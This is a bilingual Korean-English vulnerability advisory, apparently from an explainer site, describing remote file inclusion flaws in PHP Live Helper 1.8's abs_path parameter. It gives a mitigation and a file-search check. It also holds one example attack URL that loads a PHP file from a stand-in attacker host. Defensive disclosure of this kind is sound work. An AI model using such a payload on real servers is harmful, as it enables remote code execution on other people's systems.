🇰🇷 한글 설명
Turnkey Web Tools PHP Live Helper 1.8의 원격 파일 포함(RFI) 취약점으로, abs_path 파라미터를 악용하여 인증 없이 임의의 PHP 코드를 포함하고 실행할 수 있습니다. initiate.php, waiting.php, welcome.php 등 7개 파일이 영향을 받습니다.
💡 쉬운 설명
이 소프트웨어는 악의적인 사람이 인터넷을 통해 자신의 파일을 서버에 로드하게 만드는 보안 구멍을 가지고 있습니다. 공격자는 이를 통해 서버에서 자신의 코드를 실행할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Turnkey Web Tools PHP Live Helper 1.8 allow remote attackers to include and execute arbitrary PHP code via the abs_path parameter in (1) initiate.php, (2) waiting.php, (3) welcome.php, (4) admin/index.php, (5) javascript.php, (6) checkchat.php, and (7) blank.php.
📍 영향받는 시스템
Turnkey Web Tools PHP Live Helper 1.8 및 이전 버전
⚔️ 공격 벡터
URL의 abs_path 파라미터에 원격 파일 경로를 입력하여 RFI 공격 수행 (예: ?abs_path=http://attacker.com/malicious.php)
🛡️ 대응 방법
최신 버전으로 업그레이드하거나 abs_path 파라미터에 대한 입력 검증 및 필터링 구현
🔧 검증 코드
취약한 파일이 발견되면 해당 시스템이 영향을 받을 수 있으므로 즉시 업그레이드 필요. 파일을 찾을 수 없으면 소프트웨어가 설치되지 않은 상태입니다.
find / -type f \( -name initiate.php -o -name waiting.php -o -name welcome.php \) 2>/dev/null | grep -i helper